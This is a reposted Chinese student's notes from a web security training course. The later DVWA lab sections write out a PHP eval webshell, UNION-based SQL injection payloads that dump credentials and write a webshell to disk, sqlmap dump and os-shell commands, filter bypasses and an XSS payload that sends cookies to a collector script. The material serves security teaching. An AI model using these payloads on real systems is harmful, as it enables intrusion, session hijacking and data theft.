网易云课堂微专业—Web安全工程师网易“白帽子黑客”训练营笔记

Posted 柯北C0by

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网易云课堂微专业—Web安全工程师网易“白帽子黑客”训练营笔记相关的知识,希望对你有一定的参考价值。

**

前言&Tips:

**:本课程适用于白帽子快速入门,即掌握最少且必要的知识。

Web基础知识

第一章

第一节


  • Web2.0的特征是用户与用户可以交互。
  • Web通信流程:用户<>浏览器<>服务器 可分为前端与后端

第二节


  • URL:统一资源定位符Uniform Reaource Locator的简写。即站点链接。功能就是定位网站资源。
  • URL详细格式:
- 底层协议://服务器域名或IP地址[:服务器端口#]/路径/../[?发送给http服务器的数据][#锚]
  • http的报文:分为请求与响应两部分。请求报文有请求行(Request Line)、头部(Header)、数据体(Body)三部分;响应报文有状态行(Status Line)、消息报头、响应正文三部分。
  • cookie:用户凭证。
  • HTTP头信息中的Referer指明用户从何处来到此网站。可以统计流量,判断来源是否合法等。
  • 状态码(301/302)说明正在跳转,下面的Location指明跳转的地址。
  • Set-Cookie:是官方颁发的凭证。

第二章

第一节 html超文本标记语言


  • HTML元素属性分为标签属性和事件属性
  • HTML DOM树结构便于JS控制HTML元素

第二节 JS基础


  • 当HTML已完成,想在页面操作HTML元素,就要用到javascript HTML DOM
  • 获取HTML元素内容document.getElementById("某个id").innerHTML <!--document.getElementById("某个id")用于获取元素,.innerHTML用于获取元素内容-->
  • 写入HTML内容document.write(),可以写入文本、本地时间,也可以写入元素。
  • 三种弹窗 :alert() comfirm() prompt()
  • JS操作HTML用到DOM,操作浏览器用到BOM;
  • 什么是cookie:用户上网时,服务器给用户的凭证,类似于钥匙。
  • 如何获取cookie:document.cookie;
  • 如何写入cookie:document.cookie = “写入值”(就是在源cookie后加上这些值);

第三节 Web服务端


  • Web服务端中mysql提供数据服务,Apache提供Web服务
  • 访问本地服务器的四种方法:localhost 127.0.0.1 本机IP 域名 。 其中域名又分为DNS解析和HOSTS文件解析两种方式。HOSTS的路径是C:\\Windows\\System32\\drivers\\etc\\HOSTS.

第四节 后端


  • 数据库操作:
创建数据库:CREATE DATABASE 数据库名;
查看数据库:SHOW DATABASES;
切换数据库:USE 数据库名;
删除数据库:DROP DATABASE 数据库名;
  • 数据表操作:
创建数据表:
CREATE TABLE teacher(
    id int(4) not null primary key auto_increment,
    name char(20) not null,
    sex char(10) not null,
    addr char(20) not null
);
查看数据表:SHOW tables;
  • 数据操作(增删改查):
插入数据表:
INSERT INTO teacher(name,sex,addr)
VALUES('Leo','Male','hangzhou');
删除数据:DELETE FROM teacher WHERE name = 'Leo'
更新数据:UPDATE teacher SET name = 'ivan' WHERE id= 1;
查询数据表:SELECT * FROM teacher;
筛选数据:select 你要的信息 from 数据表(可多个) where 条件 ;
where 也可以用于updata和delete中;
排列数据:select 你要的信息 from 数据表(可多个)
order by 表头的字段(如:name)  ASC(升序)/DESC(降序) ;
合并数据:
select 你要的信息 from 数据表1 
union
select 你要的信息 from 数据表2 ;
不掩盖重复数据的合并:
select 你要的信息 from 数据表1 
union all
select 你要的信息 from 数据表2 ;

MySQL的注释方法:

  1. #…
  2. – …
  3. //
    1和2是行注释,3是块注释。

导入.sql文件:
输入source ,然后把文件拖进命令行。但是Mysql在插入数据库的时候会自动去除转义符,所以需要在\\的地方再加一个\\

MySQL中常见的内置函数:

  1. select database() :打印当前数据库名称
  2. select current_user:打印当前用户名
  3. select load_file(‘路径’):显示文件内容;
  4. select version() :打印数据库版本;、

第五节 php


  • PHP脚本在服务器上运行。
  • 注释://、#、/*...*/ 最后一个是块注释。
  • echo可一次输出多个,print有返回值。
  • .表示串接,两个变量间无空格。
  • 变量以$开头。
  • 请求有 G E T 、 _GET、 GET_POST几种,除了对应接收外,这两种方式都可以被$_REQUEST接收。
  • PHP的系统变量包含$_SERVER,可以提供一些关于系统的信息。
  • 两个.php文件合并时,只需要在文件1?>前加一句include '文件2'.
  • PHP如何连接数据库:
  1. 连接MySQL服务:mysql_connect("localhost","root","root")
  2. 设定编码:mysql_query("SET NAMES UTF8")
  3. 选择数据库:mysql_select_db("websecurity",$con)
  4. 操作数据库:mysql_query("SELECT * FROM teacher")
  5. 关闭连接:mysql_close($con)
  • 导出数据库:
  1. cmd中使用mysqldump.exe命令,回车
  2. 输入mysqldump.exe的路径(直接按上箭头) -u root -p 要导出的数据库名称 > 要导入的数据库的路径
  3. 会提示输入密码,然后ok
  • 如何找到数据库连接文件:在首页.php文件中找到包含(include或者require)到路径下去找到该文件。

Web安全基础

第一章 常见Web安全问题

钓鱼、网页篡改、Webshell、暗链

第二章

第一节 XSS (Cross Site Script/跨站脚本)


概念:黑客通过“HTML注入”篡改网页,插入恶意脚本,当用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。

分类:存储型,反射型,DOM型

各类型的区别:

XSS类型存储型反射型DOM型
触发过程1.黑客构造XSS到数据库 2.用户访问携带XSS脚本的页面用户访问带有XSS的URL用户访问带有XSS的URL
数据存储数据库URLURL
谁来输出后端WEB程序后端WEB程序前端JS
输出位置HTTP响应中HTTP响应中动态构造的DOM节点

第二节 CSRF(跨站请求伪造)


概念:利用用户已登录的状态(利用cookie),在用户主动访问伪造页面而不知情的情况下完成非法操作(如转账等)的攻击方法

第三节 点击劫持/又名UI覆盖


概念:通过用一个网站覆盖另一个网站的方式,在用户不知情的情况下完成非法操作的攻击方法

第四节 URL跳转


概念:借助跳转,将用户引导到不安全的第三方区域的攻击方法。

第五节 SQL注入


概念:通过数据与代码的拼接,改变代码的原意,从而进行非法操作的攻击方法。

第六节 命令注入


概念:与SQL注入类似,区别是利用了系统命令(如关机、删除等危险命令)。

第七节 文件操作漏洞


文件上传漏洞、任意文件下载漏洞、文件包含漏洞。

Web安全工具

第一章 浏览器与浏览器拓展初级


  • 如何开启和关闭JS或者弹窗(包括Chrome/FireFox/IE)
  • 查看网页源代码:右键“查看网页源代码”或 “view-source:”
  • 查看DOM代码:“右键-检查”或“开发者工具小箭头”
  • 查看网络数据包:“开发者工具-NetWork"
  • 火狐的四个插件:Advanced Cookie Manager、Firebug、HackBar、Proxy Switcher.

第二章 代理抓包分析工具


  • “代理”可对经过的数据包进行记录、拦截、修改、再次发送、丢弃等操作,如同在浏览器与Web服务器之间的收费站。
  • 掌握火狐和Chrome的代理设置。Proxy Switcher作为火狐的插件,可以方便的实现多代理点的切换。
  • 常见的代理抓包工具:Burpsuite、Charles、Fiddler.在使用时首先要设置监听端口

第三章 漏洞扫描工具初级


第一节 敏感文件探测


  • 如何安装python:
1. 下载安装包。
2. 安装,记住安装路径。
3. 配置环境变量。  属性-高级系统设置-环境变量-新建(变量名为PATH,变量值为 "安装路径+;.;")
  • 敏感文件:像网站管理后台、数据文件、备份文件、Webshell等对于网站安全有重要意义的文件。
  • 敏感文件探测:猜测文件路径,根据http返回码判断文件是否存在。
  • 判断网站脚本类型:测试一下index.xxx的类型是什么。当然此方法有可能会被防御者将计就计。

第二节 漏洞扫描工具


  • 常用的有AWVS/Netsparker/AppScan.掌握AWVS扫描网站的基础方法。
  • Tips:
1.扫描的不良影响:高流量、可能会触发危险请求(如删库)
2.无法扫描到逻辑漏洞:如通过抓包篡改的账本。

第三节 SQL注入漏洞测试入门


  • SQL注入的典型危害是可以被用于获取数据库敏感数据。
  • SQL注入流程:
1.找到有数据库交互的页面。
2.判断页面是否存在SQL注入。
3.利用SQL注入读取数据。
4.下载数据。
  • sqlmap的威力:
1.支持多种数据库:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Friebrid,Sybase,SAP  MaxDB,HSQLDB,Informix.
2.支持多种参数位置:GET,POST,Cookie,HTTP.
  • sqlmap codes&tips:
1.当输入带 "-"的命令时,一个 "-"后跟字母缩写,两个 "-"后跟完整单词。
2.扫描网站,判断注入点:python sqlmap.py -u "目标url"
3.查看用户:--users
4.产看数据库:--dbs
5.查看当前用户和数据库: --current-user --current-dbs
6.查看数据库表信息: --tables -D "目标dbs"
7.查看数据表的列信息: --columns -T "目标tables" -D "目标dbs"
8.查看数据表有多少条数据: --count -T "目标tables" -D "目标dbs"
9.查看数据内容: --dump -T "目标tables" -D "目标dbs"
(查看第二条到第三条数据,在此命令后加上 " -- start 2 --stop 3" )
10.下载目标数据库的全部数据: --dump-all -D "目标dbs"

当参数位置是POST时:有两种语法来寻找注入点:

  1. 将抓包所得的数据包文件移动到sqlmap本地位置,运行 python sqlmap -r "数据包文件名"
  2. 执行`python sqlmap -u “目标url” --data=“参数样例”。参数样例在抓包所得的数据包中。

第四章 搜索及在线Web工具

  • 百度和google的高级搜索。
利用高级搜索可寻找:
1. 数据库交互页面: inurl:php?
2. 敏感文件的泄露: filetype:log(日志文件) sql(数据库文件)
3. 网站以前的缓存: cathe:目标网站。
- 了解Shodan、Zoomeye、FOFA的网络空间搜索。
- 网络空间搜索引擎的原理:爬取众多ip网段-打标签-存储以供搜索。在这个过程中要保证更新。

Web安全实战

第一章 DVWA的配置

第二章 暴力破解

  • 暴力破解实质上是猜测用户名和密码。
  • 辅助工具:OWASP ZAP(开源,基于java,要装jdk。)
  • 会利用OWASP ZAP 跑字典。

第三章 命令注入

  • 注入其实就是“拼接”的意思。
  • 三部曲:
1. 是否调用系统命令?
2. 函数或函数的参数是否可控?
3,是否实现命令注入?
  • 命令拼接符:
A&B:AB之间无制约关系。
A&&B:A执行成功,然后才会执行B。
A|B:A的输出作为B的输入。
A||B:A执行失败,然后才会执行B。
  • 注入经验:当命令被加入黑名单时,可以通过添加双引号进行绕过。whoani=who"“ami=who”“am”"i.在Linux里,还可以加两个单引号。
  • 对于无回显的命令。可以使用sleep 5(在Linux中)这样的命令测试是否存在漏洞。

第四章 CSRF

  • 在用户使用Web应用时,黑客诱骗用户点击自己精心伪造的链接,使用户做出非本意的操作。
  • 掌握Tamper Data的使用,用此工具辅助自己构造链接。

第五章 文件包含

  • 利用代码的包含漏洞,使得服务器执行自己想要让其执行的本地文件,甚至远程文件。
  • 水平较高的网站会过滤敏感字符,这时就需要开动脑筋找出怎么过滤的,对症下药即可。
  • file协议:本地文件传输协议。
  • 一句话WebShell-cmd:
<?php
@eval($_GET['cmd']);
?>

输入形似:http://127.0.0.1/WebShell文件名?cmd=命令  (如phpinfo();)

当执行系统命令时,将后半部分改为cmd=system(这里面填命令);

第六章 文件上传漏洞

  • 掌握OWASP ZAP重发送数据包
  • cmd中如何进入D盘,输入d:.
  • copy命令制作暗命令(内涵图)。
    copy 1.jpg/b+1.txt/a 2.jpg
    命令中,b表示二进制文件,a表示文本文件。
  • nginx中存在着畸形解析,只要配置文件php,inichi.fix_pathinfo=1.Web程序读取xxx.jpg当做xxx.php执行。
  • 修复:
1. 阻止非法文件上传:文件后缀名,文件类型,文件内容头部的判断。
2. 阻止非法文件执行:文件重命名、文件压缩重生成、存储空间与Web服务分离。

第七章 SQL回显注入

  • 命令注入漏洞注入的是系统命令,SQL注入是指通过WEB程序在数据库里执行任意SQL语句。
  • 判断是否存在SQL回显注入:一般输入1'或者1",如果错误信息回显,说明存在SQL注入漏洞。
  • POC:证明漏洞存在的代码。
  • 三种常见POC:
1 or 1=1
1' or '1'='1
1" or "1"="1
  • 三种MySQL注释符:
#注释:单行注释,url中的#常编码成%23
-- 注释:单行注释,注意最后有一个空格。
/*注释*/:多行注释。
  • 使用order by来查询字段数。如1' order by 字段数.选一个大的数如10,用二分法来缩小猜测范围,直到不再报错的那个数就是字段数。
  • 知道字段后,使用union select 1,2 --来确定回显点,也就是哪个地方是服务器显示给我们的。union select 表示将后面命令显示在union前命令的后面。
  • @@version查看数据库版本 @@datadir查看数据库位置 user()查看用户名 database()查看数据库名称
  • 如何获取数据库所有数据:
  1. 数据库名已知,获取数据表名:
    xx' union select 1,table_name from information_schema.tables where table_schema='数据库名' --
  2. 数据表名已知,获取字段名:
    xx' union select 1,column_name from information_schema.columns where table_name='数据表名'
  3. 查询具体数据,如用户名,密码:
    xx' union select user,password from 数据表名 --

Tip:还可以获取系统信息,比如读取win.ini文件:
利用MySql的load_file函数:xx' union select 1,load_file('c:\\\\windows\\\\win.ini')--

  • 写Webshell:
  1. 编写异常命令使服务器爆出Web程序的物理路径xx' union select "xx","xx" into outfile 'xx' -- (导出文件命令)
  2. 写入Webhshell到服务器:xx' union select "<?php @eval($_GET['cmd']);?>","webshell" into outfile 'D:\\\\phpstudy\\\\WWW\\\\DVWA-1.9\\\\cmd.php' --
  • 使用Sqlmap工具自动扫描:

1.sqlmap -u "http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=d5t2lcfrs2ks10qo2fkvmbng06;security=low"

2.上传WebShell的命令:--os-shell

  • 中级难度的SQL inject:

1.对方使用下拉框只是修改了提交的形式,有可能改为了POST请求。这时,可以使用tamper data来修改请求。
2.当遇到需要转义的字符时,我们可以使用Hackbar-Encoding-HEX Encoding-String to 00ff00ff来编码,并在这个编码前加上0x表示它是16位的。然后在修改请求时用此编码代替字符。
3.使用Sqlmap扫描POST请求网站的代码:sqlmap.py -u"http://172.19.212.83/DVWA-1.9/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=tvciq0bt6lltol4vrltperg026; security=medium" 关键是data,可以在Firebug-网络-Post请求的名字中找到。

-高级难度的SQL inject:

1.难度在于,注入点与回显点不同,手工注入没什么差别。其难度在于使用Sqlmap时更复杂,需要加一个--second-order参数来指定回显页面。

第八章 SQL盲注

  • SQL盲注:数据库的执行结果不会直接显示到页面上,页面只会显示真假。
  • 三种POC,都使用真&&假的形式,如果,返回值为假,就说明采用了这种方式。
  • Sql手工盲注就是使用1' and 命令的请求来判断命令是否为真,进而获取数据库信息。
  • 几个常用命令:
  1. select length('str'):获取字符串长度。
    1' and length(database())>1 --1' and length(database())>1 --等命令使用二分法来确定数据库名称。
  2. substr(expression,start,length)–获取子字符串(原始字符串,子串开始位置,子串长度)
  3. ascii(string):获取第一个字符的ASCII数值。获得ASCII码后可以使用二分法来确定是哪个字符。一般字符的ASCII码是在64到127之间的。
  4. SQL盲注可分为布尔型和延时性。以下为延时性盲注的常用函数。
  5. if(expr1,expr2,expr3):如果1为真,返回2,否则返回3.
  6. sleep(N):休眠(N)秒。可使用1' and sleep(if(length(database())=4,5,0))--来实现延时盲注。
  7. benchmark(count,expr)–重复计算(次数,表达式)。可使用1' and benchmark(if(length(database())=4,5000000,0),md5('test')); --
  • 使用Sqlmap扫描盲注点。-p参数用来指定参数,比如id或者user-anget
  • Sqlmap扫描low等级漏洞:sqlmap.py -u"http://172.19.201.158/dvwa-1.9/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=cv24qmblubmfrbo10f3glth402;security=low" -v 3
  • Sqlmap中payload所用的函数:
  1. cast(expression as data_type)–数据类型转换(表达式 as 新的数据类型)
  2. ifnull(expr1,expr2)–如果1是null,返回2,否则返回1.
  3. mid(expression,start,length)–获取子字符串(原始字符串,子串开始位置,子串长度)
  4. ord(string)–获取第一个字符的ASCII码(字符串)。
  • Sqlmap扫描medium等级漏洞:sqlmap.py -u "http://172.19.201.158/dvwa-1.9/vulnerabilities/sqli_blind/#" -p "id" -cookie "PHPSESSID=cv24qmblubmfrbo10f3glth402; security=medium" --data "id=1&Submit=Submit"
  • Sqlmap扫描high等级漏洞:sqlmap.py -u "http://172.19.213.0/dvwa-1.9/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1;security=high;PHPSESSID=p9u0jpvicogb1iv474m0ogqbh2" --level 2

第九章 XSS

  • XSS属于客户端代码注入,常用代码为JavaScript,而命令注入和SQL注入是服务端代码注入。
  • 可分为三种类型:

存储型:数据库 HTTP
反射型:URL HTTP
DOM型:URL DOM节点

第一节 反射型

  • 弹窗测试XSS漏洞是否存在:<script>alert(/xss/)</script>alert()之外,还有confirm()prompt()函数。
  • XSS攻击思路:用户登录Web服务器,攻击者发送url,用户点击,Web服务器对攻击js回应并发送会话信息到攻击者的Web服务器,攻击者使用会话信息劫持用户会话。
  • 攻击者行动:
  1. 在自己的服务器上写入获取会话信息的文件cookie.php–内容是
<?php 
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',
$cookie);
?>
  1. 构造攻击js
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

3.构造并发送攻击url

http://172.19.212.134/dvwa-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

但要注意,<script></script>里面的语句(包括script本身)要经过hackbar里URLencode的编码。
4.利用自己服务器上的cookie.php里的cookie凭证,结合Firebug修改cookie凭证,直接访问index.php主页,即可劫持。

  • medium等级:服务端过滤了<script>标签。
  1. 可以通过<scri<script>pt>嵌套来实现绕过。
  2. 可以通过<ScriPt>大小写混合来实现绕过。
  • high等级:<script>标签被禁用。
  1. 使用img标签也可以插入js代码:<img src=x onerror=alert(1)>,成功弹框。
  2. 使用iframe标签,iframe标签可以嵌入另一个html页面,可以在这个页面里写入js代码:<iframe onload=alert(1),成功弹框。
  • impssible等级:使用了htmlspecialchars函数来将特殊字符如& ' " < >编码成&amp; &quot; &apos; &alt; &gt;但是此函数默认不编码单引号'。要编码单引号,需要加上ENT_QUOTES参数。

第二节 存储型

  • 发送数据的长度受限。可以使用Tamper data解决。
  • 存储型XSS是直接存在数据库里的,所以弹窗会一直存在。
  • 存储型impossible等级:使用了mysql_real_escape_string函数,此函数会对引号进行转义,防止SQL注入。

XSS的修复:
输入过滤:黑名单,白名单;
输出过滤:HTML编码,JS转义。

第五章 Web安全体系建设

第一章 SDL(Security Development Lifecycle)

  • 中文名:安全开发生产周期,来自微软
  • 步骤:培训 需求 设计 实施 验证 发布 响应

第二章 应急响应

-安全漏洞与安全事件的区别

以上是关于网易云课堂微专业—Web安全工程师网易“白帽子黑客”训练营笔记的主要内容,如果未能解决你的问题,请参考以下文章

响应式网页设计 python数据分析师到项目实战

网课资源共享:网易云响应式网页设计 高清完整

笔记网易微专业-Web安全工程师-05.WEB安全体系建设

笔记网易微专业-Web安全工程师-02.WEB安全基础

笔记网易微专业-Web安全工程师-03.WEB安全工具

笔记网易微专业-Web安全工程师-04.WEB安全实战-6.文件上传